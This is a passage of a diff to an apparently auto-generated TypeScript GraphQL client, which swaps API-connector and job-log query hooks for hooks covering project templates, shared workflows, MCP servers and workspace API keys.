-    queryFn: fetcher<ApiConnectorsQuery, ApiConnectorsQueryVariables>(ApiConnectorsDocument, variables),
-    ...options
-  }
-    )};
-
-export const CancelGenerationJobDocument = `
-    mutation cancelGenerationJob($jobId: String!) {
-  cancelGenerationJob(jobId: $jobId)
-}
-    `;
-
-export const useCancelGenerationJobMutation = <
-      TError = unknown,
-      TContext = unknown
-    >(options?: UseMutationOptions<CancelGenerationJobMutation, TError, CancelGenerationJobMutationVariables, TContext>) => {
-    
-    return useMutation<CancelGenerationJobMutation, TError, CancelGenerationJobMutationVariables, TContext>(
+    return useQuery<ProjectByIdQuery, TError, TData>(
       {
-    mutationKey: ['cancelGenerationJob'],
-    mutationFn: (variables?: CancelGenerationJobMutationVariables) => fetcher<CancelGenerationJobMutation, CancelGenerationJobMutationVariables>(CancelGenerationJobDocument, variables)(),
+    queryKey: ['projectById', variables],
+    queryFn: fetcher<ProjectByIdQuery, ProjectByIdQueryVariables>(ProjectByIdDocument, variables),
     ...options
   }
     )};
 
-export const CreateApiConnectorDocument = `
-    mutation createApiConnector($input: CreateApiConnectorInput!) {
-  createApiConnector(input: $input) {
-    id
-    name
-    title
+export const ProjectTemplateDocument = `
+    query projectTemplate($id: String!, $sharedProject: Boolean!) {
+  projectTemplate(id: $id, sharedProject: $sharedProject) {
+    components {
+      key
+      value {
+        connection {
+          componentName
+          version
+        }
+        icon
+        name
+        title
+        version
+      }
+    }
     description
-    icon
-    connectorVersion
-    enabled
-    specification
-    definition
-    endpoints {
-      id
+    project {
       name
-      description
-      path
-      httpMethod
     }
-    createdBy
-    createdDate
-    lastModifiedBy
-    lastModifiedDate
-    version
+    projectVersion
+    publicUrl
+    workflows {
+      id
+      label
+    }
   }
 }
     `;
 
-export const useCreateApiConnectorMutation = <
-      TError = unknown,
-      TContext = unknown
-    >(options?: UseMutationOptions<CreateApiConnectorMutation, TError, CreateApiConnectorMutationVariables, TContext>) => {
+export const useProjectTemplateQuery = <
+      TData = ProjectTemplateQuery,
+      TError = unknown
+    >(
+      variables: ProjectTemplateQueryVariables,
+      options?: Omit<UseQueryOptions<ProjectTemplateQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<ProjectTemplateQuery, TError, TData>['queryKey'] }
+    ) => {
     
-    return useMutation<CreateApiConnectorMutation, TError, CreateApiConnectorMutationVariables, TContext>(
+    return useQuery<ProjectTemplateQuery, TError, TData>(
       {
-    mutationKey: ['createApiConnector'],
-    mutationFn: (variables?: CreateApiConnectorMutationVariables) => fetcher<CreateApiConnectorMutation, CreateApiConnectorMutationVariables>(CreateApiConnectorDocument, variables)(),
+    queryKey: ['projectTemplate', variables],
+    queryFn: fetcher<ProjectTemplateQuery, ProjectTemplateQueryVariables>(ProjectTemplateDocument, variables),
     ...options
   }
     )};
 
-export const DeleteApiConnectorDocument = `
-    mutation deleteApiConnector($id: ID!) {
-  deleteApiConnector(id: $id)
+export const SharedProjectDocument = `
+    query sharedProject($projectUuid: String!) {
+  sharedProject(projectUuid: $projectUuid) {
+    description
+    exported
+    projectVersion
+    publicUrl
+  }
 }
     `;
 
-export const useDeleteApiConnectorMutation = <
-      TError = unknown,
-      TContext = unknown
-    >(options?: UseMutationOptions<DeleteApiConnectorMutation, TError, DeleteApiConnectorMutationVariables, TContext>) => {
+export const useSharedProjectQuery = <
+      TData = SharedProjectQuery,
+      TError = unknown
+    >(
+      variables: SharedProjectQueryVariables,
+      options?: Omit<UseQueryOptions<SharedProjectQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<SharedProjectQuery, TError, TData>['queryKey'] }
+    ) => {
     
-    return useMutation<DeleteApiConnectorMutation, TError, DeleteApiConnectorMutationVariables, TContext>(
+    return useQuery<SharedProjectQuery, TError, TData>(
       {
-    mutationKey: ['deleteApiConnector'],
-    mutationFn: (variables?: DeleteApiConnectorMutationVariables) => fetcher<DeleteApiConnectorMutation, DeleteApiConnectorMutationVariables>(DeleteApiConnectorDocument, variables)(),
+    queryKey: ['sharedProject', variables],
+    queryFn: fetcher<SharedProjectQuery, SharedProjectQueryVariables>(SharedProjectDocument, variables),
     ...options
   }
     )};
 
-export const EnableApiConnectorDocument = `
-    mutation enableApiConnector($id: ID!, $enable: Boolean!) {
-  enableApiConnector(id: $id, enable: $enable)
+export const SharedWorkflowDocument = `
+    query sharedWorkflow($workflowUuid: String!) {
+  sharedWorkflow(workflowUuid: $workflowUuid) {
+    description
+    exported
+    projectVersion
+    publicUrl
+  }
 }
     `;
 
-export const useEnableApiConnectorMutation = <
-      TError = unknown,
-      TContext = unknown
-    >(options?: UseMutationOptions<EnableApiConnectorMutation, TError, EnableApiConnectorMutationVariables, TContext>) => {
+export const useSharedWorkflowQuery = <
+      TData = SharedWorkflowQuery,
+      TError = unknown
+    >(
+      variables: SharedWorkflowQueryVariables,
+      options?: Omit<UseQueryOptions<SharedWorkflowQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<SharedWorkflowQuery, TError, TData>['queryKey'] }
+    ) => {
     
-    return useMutation<EnableApiConnectorMutation, TError, EnableApiConnectorMutationVariables, TContext>(
+    return useQuery<SharedWorkflowQuery, TError, TData>(
       {
-    mutationKey: ['enableApiConnector'],
-    mutationFn: (variables?: EnableApiConnectorMutationVariables) => fetcher<EnableApiConnectorMutation, EnableApiConnectorMutationVariables>(EnableApiConnectorDocument, variables)(),
+    queryKey: ['sharedWorkflow', variables],
+    queryFn: fetcher<SharedWorkflowQuery, SharedWorkflowQueryVariables>(SharedWorkflowDocument, variables),
     ...options
   }
     )};
 
-export const GenerateSpecificationDocument = `
-    mutation generateSpecification($input: GenerateSpecificationInput!) {
-  generateSpecification(input: $input) {
-    specification
+export const UpdateMcpServerDocument = `
+    mutation updateMcpServer($id: ID!, $input: McpServerUpdateInput!) {
+  updateMcpServer(id: $id, input: $input) {
+    id
+    name
+    enabled
   }
 }
     `;
 
-export const useGenerateSpecificationMutation = <
+export const useUpdateMcpServerMutation = <
       TError = unknown,
       TContext = unknown
-    >(options?: UseMutationOptions<GenerateSpecificationMutation, TError, GenerateSpecificationMutationVariables, TContext>) => {
+    >(options?: UseMutationOptions<UpdateMcpServerMutation, TError, UpdateMcpServerMutationVariables, TContext>) => {
     
-    return useMutation<GenerateSpecificationMutation, TError, GenerateSpecificationMutationVariables, TContext>(
+    return useMutation<UpdateMcpServerMutation, TError, UpdateMcpServerMutationVariables, TContext>(
       {
-    mutationKey: ['generateSpecification'],
-    mutationFn: (variables?: GenerateSpecificationMutationVariables) => fetcher<GenerateSpecificationMutation, GenerateSpecificationMutationVariables>(GenerateSpecificationDocument, variables)(),
+    mutationKey: ['updateMcpServer'],
+    mutationFn: (variables?: UpdateMcpServerMutationVariables) => fetcher<UpdateMcpServerMutation, UpdateMcpServerMutationVariables>(UpdateMcpServerDocument, variables)(),
     ...options
   }
     )};
 
-export const GenerationJobStatusDocument = `
-    query generationJobStatus($jobId: String!) {
-  generationJobStatus(jobId: $jobId) {
-    jobId
-    status
-    specification
-    errorMessage
+export const UpdateMcpServerTagsDocument = `
+    mutation updateMcpServerTags($id: ID!, $tags: [TagInput!]!) {
+  updateMcpServerTags(id: $id, tags: $tags) {
+    id
   }
 }
     `;
 
-export const useGenerationJobStatusQuery = <
-      TData = GenerationJobStatusQuery,
-      TError = unknown
-    >(
-      variables: GenerationJobStatusQueryVariables,
-      options?: Omit<UseQueryOptions<GenerationJobStatusQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<GenerationJobStatusQuery, TError, TData>['queryKey'] }
-    ) => {
+export const useUpdateMcpServerTagsMutation = <
+      TError = unknown,
+      TContext = unknown
+    >(options?: UseMutationOptions<UpdateMcpServerTagsMutation, TError, UpdateMcpServerTagsMutationVariables, TContext>) => {
     
-    return useQuery<GenerationJobStatusQuery, TError, TData>(
+    return useMutation<UpdateMcpServerTagsMutation, TError, UpdateMcpServerTagsMutationVariables, TContext>(
       {
-    queryKey: ['generationJobStatus', variables],
-    queryFn: fetcher<GenerationJobStatusQuery, GenerationJobStatusQueryVariables>(GenerationJobStatusDocument, variables),
+    mutationKey: ['updateMcpServerTags'],
+    mutationFn: (variables?: UpdateMcpServerTagsMutationVariables) => fetcher<UpdateMcpServerTagsMutation, UpdateMcpServerTagsMutationVariables>(UpdateMcpServerTagsDocument, variables)(),
     ...options
   }
     )};
 
-export const ImportOpenApiSpecificationDocument = `
-    mutation importOpenApiSpecification($input: ImportOpenApiSpecificationInput!) {
-  importOpenApiSpecification(input: $input) {
-    id
-    name
-    title
-    description
-    icon
-    connectorVersion
-    enabled
-    specification
-    definition
-    endpoints {
-      id
-      name
-      description
-      path
-      httpMethod
-    }
-    createdBy
-    createdDate
-    lastModifiedBy
-    lastModifiedDate
-    version
-  }
+export const UpdateWorkspaceApiKeyDocument = `
+    mutation updateWorkspaceApiKey($apiKeyId: ID!, $name: String!) {
+  updateWorkspaceApiKey(apiKeyId: $apiKeyId, name: $name)
 }
     `;
 
-export const useImportOpenApiSpecificationMutation = <
+export const useUpdateWorkspaceApiKeyMutation = <
       TError = unknown,
       TContext = unknown
-    >(options?: UseMutationOptions<ImportOpenApiSpecificationMutation, TError, ImportOpenApiSpecificationMutationVariables, TContext>) => {
+    >(options?: UseMutationOptions<UpdateWorkspaceApiKeyMutation, TError, UpdateWorkspaceApiKeyMutationVariables, TContext>) => {
     
-    return useMutation<ImportOpenApiSpecificationMutation, TError, ImportOpenApiSpecificationMutationVariables, TContext>(
+    return useMutation<UpdateWorkspaceApiKeyMutation, TError, UpdateWorkspaceApiKeyMutationVariables, TContext>(
       {
-    mutationKey: ['importOpenApiSpecification'],
-    mutationFn: (variables?: ImportOpenApiSpecificationMutationVariables) => fetcher<ImportOpenApiSpecificationMutation, ImportOpenApiSpecificationMutationVariables>(ImportOpenApiSpecificationDocument, variables)(),
+    mutationKey: ['updateWorkspaceApiKey'],
+    mutationFn: (variables?: UpdateWorkspaceApiKeyMutationVariables) => fetcher<UpdateWorkspaceApiKeyMutation, UpdateWorkspaceApiKeyMutationVariables>(UpdateWorkspaceApiKeyDocument, variables)(),
     ...options
   }
     )};
 
-export const StartGenerateFromDocumentationPreviewDocument = `
-    mutation startGenerateFromDocumentationPreview($input: GenerateFromDocumentationInput!) {
-  startGenerateFromDocumentationPreview(input: $input) {
-    jobId
-    status
-    specification
-    errorMessage
+export const WorkflowChatProjectDeploymentWorkflowDocument = `
+    query workflowChatProjectDeploymentWorkflow($id: String!) {
+  projectDeploymentWorkflow(id: $id) {
+    projectWorkflow {
+      sseStreamResponse
+      workflow {
+        label
+      }
+    }
   }
 }
     `;
 
-export const useStartGenerateFromDocumentationPreviewMutation = <
-      TError = unknown,
-      TContext = unknown
-    >(options?: UseMutationOptions<StartGenerateFromDocumentationPreviewMutation, TError, StartGenerateFromDocumentationPreviewMutationVariables, TContext>) => {
+export const useWorkflowChatProjectDeploymentWorkflowQuery = <
+      TData = WorkflowChatProjectDeploymentWorkflowQuery,
+      TError = unknown
+    >(
+      variables: WorkflowChatProjectDeploymentWorkflowQueryVariables,
+      options?: Omit<UseQueryOptions<WorkflowChatProjectDeploymentWorkflowQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<WorkflowChatProjectDeploymentWorkflowQuery, TError, TData>['queryKey'] }
+    ) => {
     
-    return useMutation<StartGenerateFromDocumentationPreviewMutation, TError, StartGenerateFromDocumentationPreviewMutationVariables, TContext>(
+    return useQuery<WorkflowChatProjectDeploymentWorkflowQuery, TError, TData>(
       {
-    mutationKey: ['startGenerateFromDocumentationPreview'],
-    mutationFn: (variables?: StartGenerateFromDocumentationPreviewMutationVariables) => fetcher<StartGenerateFromDocumentationPreviewMutation, StartGenerateFromDocumentationPreviewMutationVariables>(StartGenerateFromDocumentationPreviewDocument, variables)(),
+    queryKey: ['workflowChatProjectDeploymentWorkflow', variables],
+    queryFn: fetcher<WorkflowChatProjectDeploymentWorkflowQuery, WorkflowChatProjectDeploymentWorkflowQueryVariables>(WorkflowChatProjectDeploymentWorkflowDocument, variables),
     ...options
   }
     )};
 
-export const UpdateApiConnectorDocument = `
-    mutation updateApiConnector($id: ID!, $input: UpdateApiConnectorInput!) {
-  updateApiConnector(id: $id, input: $input) {
+export const WorkflowChatWorkspaceProjectDeploymentsDocument = `
+    query workflowChatWorkspaceProjectDeployments($workspaceId: ID!, $environmentId: ID!, $projectId: ID, $tagId: ID) {
+  workspaceProjectDeployments(
+    workspaceId: $workspaceId
+    environmentId: $environmentId
+    projectId: $projectId
+    tagId: $tagId
+  ) {
     id
-    name
-    title
-    description
-    icon
-    connectorVersion
     enabled
-    specification
-    definition
-    endpoints {
+    project {
       id
       name
-      description
-      path
-      httpMethod
     }
-    createdBy
-    createdDate
-    lastModifiedBy
-    lastModifiedDate
-    version
-  }
-}
-    `;
-
-export const useUpdateApiConnectorMutation = <
-      TError = unknown,
-      TContext = unknown
-    >(options?: UseMutationOptions<UpdateApiConnectorMutation, TError, UpdateApiConnectorMutationVariables, TContext>) => {
-    
-    return useMutation<UpdateApiConnectorMutation, TError, UpdateApiConnectorMutationVariables, TContext>(
-      {
-    mutationKey: ['updateApiConnector'],
-    mutationFn: (variables?: UpdateApiConnectorMutationVariables) => fetcher<UpdateApiConnectorMutation, UpdateApiConnectorMutationVariables>(UpdateApiConnectorDocument, variables)(),
-    ...options
-  }
-    )};
-
-export const EditorJobFileLogsDocument = `
-    query editorJobFileLogs($jobId: ID!, $filter: LogFilterInput, $page: Int, $size: Int) {
-  editorJobFileLogs(jobId: $jobId, filter: $filter, page: $page, size: $size) {
-    content {
-      timestamp
-      level
-      componentName
-      componentOperationName
-      taskExecutionId
-      message
-      exceptionType
-      exceptionMessage
-      stackTrace
+    projectDeploymentWorkflows {
+      id
+      enabled
+      staticWebhookUrl
+      workflowExecutionId
+      projectWorkflow {
+        workflow {
+          id
+          label
+          triggers {
+            parameters
+            type
+          }
+        }
+      }
     }
-    totalElements
-    totalPages
-    pageNumber
-    pageSize
-    hasNext
-    hasPrevious
   }
 }
     `;
 
-export const useEditorJobFileLogsQuery = <
-      TData = EditorJobFileLogsQuery,
+export const useWorkflowChatWorkspaceProjectDeploymentsQuery = <
+      TData = WorkflowChatWorkspaceProjectDeploymentsQuery,
       TError = unknown
     >(
-      variables: EditorJobFileLogsQueryVariables,
-      options?: Omit<UseQueryOptions<EditorJobFileLogsQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<EditorJobFileLogsQuery, TError, TData>['queryKey'] }
+      variables: WorkflowChatWorkspaceProjectDeploymentsQueryVariables,
+      options?: Omit<UseQueryOptions<WorkflowChatWorkspaceProjectDeploymentsQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<WorkflowChatWorkspaceProjectDeploymentsQuery, TError, TData>['queryKey'] }
     ) => {
     
-    return useQuery<EditorJobFileLogsQuery, TError, TData>(
+    return useQuery<WorkflowChatWorkspaceProjectDeploymentsQuery, TError, TData>(
       {
-    queryKey: ['editorJobFileLogs', variables],
-    queryFn: fetcher<EditorJobFileLogsQuery, EditorJobFileLogsQueryVariables>(EditorJobFileLogsDocument, variables),
+    queryKey: ['workflowChatWorkspaceProjectDeployments', variables],
+    queryFn: fetcher<WorkflowChatWorkspaceProjectDeploymentsQuery, WorkflowChatWorkspaceProjectDeploymentsQueryVariables>(WorkflowChatWorkspaceProjectDeploymentsDocument, variables),
     ...options
   }
     )};
 
-export const EditorJobFileLogsExistDocument = `
-    query editorJobFileLogsExist($jobId: ID!) {
-  editorJobFileLogsExist(jobId: $jobId)
+export const WorkflowTemplateDocument = `
+    query workflowTemplate($id: String!, $sharedWorkflow: Boolean!) {
+  workflowTemplate(id: $id, sharedWorkflow: $sharedWorkflow) {
+    description
+    projectVersion
+    publicUrl
+    workflow {
+      label
+    }
+    components {
+      connection {
+        componentName
+        version
+      }
+      icon
+      name
+      title
+      version
+    }
+  }
 }
     `;
 
-export const useEditorJobFileLogsExistQuery = <
-      TData = EditorJobFileLogsExistQuery,
+export const useWorkflowTemplateQuery = <
+      TData = WorkflowTemplateQuery,
       TError = unknown
     >(
-      variables: EditorJobFileLogsExistQueryVariables,
-      options?: Omit<UseQueryOptions<EditorJobFileLogsExistQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<EditorJobFileLogsExistQuery, TError, TData>['queryKey'] }
+      variables: WorkflowTemplateQueryVariables,
+      options?: Omit<UseQueryOptions<WorkflowTemplateQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<WorkflowTemplateQuery, TError, TData>['queryKey'] }
     ) => {
     
-    return useQuery<EditorJobFileLogsExistQuery, TError, TData>(
+    return useQuery<WorkflowTemplateQuery, TError, TData>(
       {
-    queryKey: ['editorJobFileLogsExist', variables],
-    queryFn: fetcher<EditorJobFileLogsExistQuery, EditorJobFileLogsExistQueryVariables>(EditorJobFileLogsExistDocument, variables),
+    queryKey: ['workflowTemplate', variables],
+    queryFn: fetcher<WorkflowTemplateQuery, WorkflowTemplateQueryVariables>(WorkflowTemplateDocument, variables),
     ...options
   }
     )};
 
-export const EditorTaskExecutionFileLogsDocument = `
-    query editorTaskExecutionFileLogs($jobId: ID!, $taskExecutionId: ID!) {
-  editorTaskExecutionFileLogs(jobId: $jobId, taskExecutionId: $taskExecutionId) {
-    timestamp
-    level
-    componentName
-    componentOperationName
-    taskExecutionId
-    message
-    exceptionType
-    exceptionMessage
-    stackTrace
+export const WorkspaceApiKeysDocument = `
+    query workspaceApiKeys($workspaceId: ID!, $environmentId: ID!) {
+  workspaceApiKeys(workspaceId: $workspaceId, environmentId: $environmentId) {
+    id
+    name
+    secretKey
+    lastUsedDate
+    createdBy
+    createdDate
+    lastModifiedBy
+    lastModifiedDate
   }
 }
     `;
 
-export const useEditorTaskExecutionFileLogsQuery = <
-      TData = EditorTaskExecutionFileLogsQuery,
+export const useWorkspaceApiKeysQuery = <
+      TData = WorkspaceApiKeysQuery,
       TError = unknown
     >(
-      variables: EditorTaskExecutionFileLogsQueryVariables,
-      options?: Omit<UseQueryOptions<EditorTaskExecutionFileLogsQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<EditorTaskExecutionFileLogsQuery, TError, TData>['queryKey'] }
+      variables: WorkspaceApiKeysQueryVariables,
+      options?: Omit<UseQueryOptions<WorkspaceApiKeysQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<WorkspaceApiKeysQuery, TError, TData>['queryKey'] }
     ) => {
     
-    return useQuery<EditorTaskExecutionFileLogsQuery, TError, TData>(
+    return useQuery<WorkspaceApiKeysQuery, TError, TData>(
       {
-    queryKey: ['editorTaskExecutionFileLogs', variables],
-    queryFn: fetcher<EditorTaskExecutionFileLogsQuery, EditorTaskExecutionFileLogsQueryVariables>(EditorTaskExecutionFileLogsDocument, variables),
+    queryKey: ['workspaceApiKeys', variables],
+    queryFn: fetcher<WorkspaceApiKeysQuery, WorkspaceApiKeysQueryVariables>(WorkspaceApiKeysDocument, variables),
     ...options
   }
     )};
 
-export const JobFileLogsDocument = `
-    query jobFileLogs($jobId: ID!, $filter: LogFilterInput, $page: Int, $size: Int) {
-  jobFileLogs(jobId: $jobId, filter: $filter, page: $page, size: $size) {
-    content {
-      timestamp
-      level
+export const WorkspaceMcpServersDocument = `
+    query workspaceMcpServers($workspaceId: ID!) {
+  workspaceMcpServers(workspaceId: $workspaceId) {
+    id
+    name
+    type
+    environmentId
+    enabled
+    url
+    mcpComponents {
+      id
+      mcpServerId
       componentName
-      componentOperationName
-      taskExecutionId
-      message
-      exceptionType
-      exceptionMessage
-      stackTrace
+      componentVersion
     }
-    totalElements
-    totalPages
-    pageNumber
-    pageSize
-    hasNext
-    hasPrevious
+    tags {
+      id
+      name
+    }
+    lastModifiedDate
   }
 }
     `;
 
-export const useJobFileLogsQuery = <
-      TData = JobFileLogsQuery,
+export const useWorkspaceMcpServersQuery = <
+      TData = WorkspaceMcpServersQuery,
       TError = unknown
     >(
-      variables: JobFileLogsQueryVariables,
-      options?: Omit<UseQueryOptions<JobFileLogsQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<JobFileLogsQuery, TError, TData>['queryKey'] }
+      variables: WorkspaceMcpServersQueryVariables,
+      options?: Omit<UseQueryOptions<WorkspaceMcpServersQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<WorkspaceMcpServersQuery, TError, TData>['queryKey'] }
     ) => {
     
-    return useQuery<JobFileLogsQuery, TError, TData>(
+    return useQuery<WorkspaceMcpServersQuery, TError, TData>(
       {
-    queryKey: ['jobFileLogs', variables],
-    queryFn: fetcher<JobFileLogsQuery, JobFileLogsQueryVariables>(JobFileLogsDocument, variables),
+    queryKey: ['workspaceMcpServers', variables],
+    queryFn: fetcher<WorkspaceMcpServersQuery, WorkspaceMcpServersQueryVariables>(WorkspaceMcpServersDocument, variables),
     ...options
   }
     )};
 
-export const JobFileLogsExistDocument = `
-    query jobFileLogsExist($jobId: ID!) {
-  jobFileLogsExist(jobId: $jobId)
+export const ConnectedUserProjectsDocument = `
+    query connectedUserProjects($connectedUserId: ID, $environmentId: ID) {
+  connectedUserProjects(
+    connectedUserId: $connectedUserId
+    environmentId: $environmentId
+  ) {
+    id
+    connectedUser {
+      id
+      environmentId
+      externalId
+    }
+    connectedUserProjectWorkflows {
+      id
+      connectedUserId
+      enabled
+      lastExecutionDate
+      projectId
+      workflowUuid
+      workflowVersion
+      workflow {
+        id
+        label
+        triggers {
+          name
+          type
+          parameters
+        }
+      }
+    }
+    environmentId
+    lastExecutionDate
+    projectId
+    projectVersion
+  }
 }
     `;
 
-export const useJobFileLogsExistQuery = <
-      TData = JobFileLogsExistQuery,
+export const useConnectedUserProjectsQuery = <
+      TData = ConnectedUserProjectsQuery,
       TError = unknown
     >(
-      variables: JobFileLogsExistQueryVariables,
-      options?: Omit<UseQueryOptions<JobFileLogsExistQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<JobFileLogsExistQuery, TError, TData>['queryKey'] }
+      variables?: ConnectedUserProjectsQueryVariables,
+      options?: Omit<UseQueryOptions<ConnectedUserProjectsQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<ConnectedUserProjectsQuery, TError, TData>['queryKey'] }
     ) => {
     
-    return useQuery<JobFileLogsExistQuery, TError, TData>(
+    return useQuery<ConnectedUserProjectsQuery, TError, TData>(
       {
-    queryKey: ['jobFileLogsExist', variables],
-    queryFn: fetcher<JobFileLogsExistQuery, JobFileLogsExistQueryVariables>(JobFileLogsExistDocument, variables),
+    queryKey: variables === undefined ? ['connectedUserProjects'] : ['connectedUserProjects', variables],
+    queryFn: fetcher<ConnectedUserProjectsQuery, ConnectedUserProjectsQueryVariables>(ConnectedUserProjectsDocument, variables),
     ...options
   }
     )};
 
-export const TaskExecutionFileLogsDocument = `
-    query taskExecutionFileLogs($jobId: ID!, $taskExecutionId: ID!) {
-  taskExecutionFileLogs(jobId: $jobId, taskExecutionId: $taskExecutionId) {
-    timestamp
-    level
-    componentName
-    componentOperationName
-    taskExecutionId
-    message
-    exceptionType
-    exceptionMessage
-    stackTrace
+export const IntegrationByIdDocument = `
+    query integrationById($id: ID!) {
+  integration(id: $id) {
+    id
+    name
   }
 }
     `;
 
-export const useTaskExecutionFileLogsQuery = <
-      TData = TaskExecutionFileLogsQuery,
+export const useIntegrationByIdQuery = <
+      TData = IntegrationByIdQuery,
       TError = unknown
     >(
-      variables: TaskExecutionFileLogsQueryVariables,
-      options?: Omit<UseQueryOptions<TaskExecutionFileLogsQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<TaskExecutionFileLogsQuery, TError, TData>['queryKey'] }
+      variables: IntegrationByIdQueryVariables,
+      options?: Omit<UseQueryOptions<IntegrationByIdQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<IntegrationByIdQuery, TError, TData>['queryKey'] }
     ) => {
     
-    return useQuery<TaskExecutionFileLogsQuery, TError, TData>(
+    return useQuery<IntegrationByIdQuery, TError, TData>(
       {
-    queryKey: ['taskExecutionFileLogs', variables],
-    queryFn: fetcher<TaskExecutionFileLogsQuery, TaskExecutionFileLogsQueryVariables>(TaskExecutionFileLogsDocument, variables),
+    queryKey: ['integrationById', variables],
+    queryFn: fetcher<IntegrationByIdQuery, IntegrationByIdQueryVariables>(IntegrationByIdDocument, variables),
     ...options
   }
     )};
@@ -5990,118 +3056,6 @@ export const useApiKeysQuery = <
   }
     )};
 
-export const ClusterElementComponentConnectionsDocument = `
-    query clusterElementComponentConnections($workflowId: String!, $workflowNodeName: String!, $clusterElementType: String!, $clusterElementWorkflowNodeName: String!) {
-  clusterElementComponentConnections(
-    workflowId: $workflowId
-    workflowNodeName: $workflowNodeName
-    clusterElementType: $clusterElementType
-    clusterElementWorkflowNodeName: $clusterElementWorkflowNodeName
-  ) {
-    componentName
-    componentVersion
-    key
-    required
-    workflowNodeName
-  }
-}
-    `;
-
-export const useClusterElementComponentConnectionsQuery = <
-      TData = ClusterElementComponentConnectionsQuery,
-      TError = unknown
-    >(
-      variables: ClusterElementComponentConnectionsQueryVariables,
-      options?: Omit<UseQueryOptions<ClusterElementComponentConnectionsQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<ClusterElementComponentConnectionsQuery, TError, TData>['queryKey'] }
-    ) => {
-    
-    return useQuery<ClusterElementComponentConnectionsQuery, TError, TData>(
-      {
-    queryKey: ['clusterElementComponentConnections', variables],
-    queryFn: fetcher<ClusterElementComponentConnectionsQuery, ClusterElementComponentConnectionsQueryVariables>(ClusterElementComponentConnectionsDocument, variables),
-    ...options
-  }
-    )};
-
-export const ClusterElementScriptInputDocument = `
-    query clusterElementScriptInput($workflowId: String!, $workflowNodeName: String!, $clusterElementType: String!, $clusterElementWorkflowNodeName: String!, $environmentId: Long!) {
-  clusterElementScriptInput(
-    workflowId: $workflowId
-    workflowNodeName: $workflowNodeName
-    clusterElementType: $clusterElementType
-    clusterElementWorkflowNodeName: $clusterElementWorkflowNodeName
-    environmentId: $environmentId
-  )
-}
-    `;
-
-export const useClusterElementScriptInputQuery = <
-      TData = ClusterElementScriptInputQuery,
-      TError = unknown
-    >(
-      variables: ClusterElementScriptInputQueryVariables,
-      options?: Omit<UseQueryOptions<ClusterElementScriptInputQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<ClusterElementScriptInputQuery, TError, TData>['queryKey'] }
-    ) => {
-    
-    return useQuery<ClusterElementScriptInputQuery, TError, TData>(
-      {
-    queryKey: ['clusterElementScriptInput', variables],
-    queryFn: fetcher<ClusterElementScriptInputQuery, ClusterElementScriptInputQueryVariables>(ClusterElementScriptInputDocument, variables),
-    ...options
-  }
-    )};
-
-export const ComponentDefinitionSearchDocument = `
-    query ComponentDefinitionSearch($query: String!) {
-  componentDefinitionSearch(query: $query) {
-    name
-    title
-    icon
-    description
-    version
-    actionsCount
-    triggersCount
-    clusterElementsCount
-    componentCategories {
-      name
-      label
-    }
-    actions {
-      name
-      title
-      description
-    }
-    triggers {
-      name
-      title
-      description
-    }
-    clusterElements {
-      type {
-        name
-        label
-      }
-    }
-  }
-}
-    `;
-
-export const useComponentDefinitionSearchQuery = <
-      TData = ComponentDefinitionSearchQuery,
-      TError = unknown
-    >(
-      variables: ComponentDefinitionSearchQueryVariables,
-      options?: Omit<UseQueryOptions<ComponentDefinitionSearchQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<ComponentDefinitionSearchQuery, TError, TData>['queryKey'] }
-    ) => {
-    
-    return useQuery<ComponentDefinitionSearchQuery, TError, TData>(
-      {
-    queryKey: ['ComponentDefinitionSearch', variables],
-    queryFn: fetcher<ComponentDefinitionSearchQuery, ComponentDefinitionSearchQueryVariables>(ComponentDefinitionSearchDocument, variables),
-    ...options
-  }
-    )};
-
 export const CreateApiKeyDocument = `
     mutation createApiKey($name: String!, $environmentId: ID!, $type: PlatformType) {
   createApiKey(name: $name, environmentId: $environmentId, type: $type)
@@ -6411,120 +3365,6 @@ export const useMcpToolsByComponentIdQuery = <
   }
     )};
 
-export const SaveClusterElementTestConfigurationConnectionDocument = `
-    mutation saveClusterElementTestConfigurationConnection($workflowId: String!, $workflowNodeName: String!, $clusterElementType: String!, $clusterElementWorkflowNodeName: String!, $workflowConnectionKey: String!, $connectionId: Long!, $environmentId: Long!) {
-  saveClusterElementTestConfigurationConnection(
-    workflowId: $workflowId
-    workflowNodeName: $workflowNodeName
-    clusterElementType: $clusterElementType
-    clusterElementWorkflowNodeName: $clusterElementWorkflowNodeName
-    workflowConnectionKey: $workflowConnectionKey
-    connectionId: $connectionId
-    environmentId: $environmentId
-  )
-}
-    `;
-
-export const useSaveClusterElementTestConfigurationConnectionMutation = <
-      TError = unknown,
-      TContext = unknown
-    >(options?: UseMutationOptions<SaveClusterElementTestConfigurationConnectionMutation, TError, SaveClusterElementTestConfigurationConnectionMutationVariables, TContext>) => {
-    
-    return useMutation<SaveClusterElementTestConfigurationConnectionMutation, TError, SaveClusterElementTestConfigurationConnectionMutationVariables, TContext>(
-      {
-    mutationKey: ['saveClusterElementTestConfigurationConnection'],
-    mutationFn: (variables?: SaveClusterElementTestConfigurationConnectionMutationVariables) => fetcher<SaveClusterElementTestConfigurationConnectionMutation, SaveClusterElementTestConfigurationConnectionMutationVariables>(SaveClusterElementTestConfigurationConnectionDocument, variables)(),
-    ...options
-  }
-    )};
-
-export const SaveWorkflowTestConfigurationConnectionDocument = `
-    mutation saveWorkflowTestConfigurationConnection($workflowId: String!, $workflowNodeName: String!, $workflowConnectionKey: String!, $connectionId: Long!, $environmentId: Long!) {
-  saveWorkflowTestConfigurationConnection(
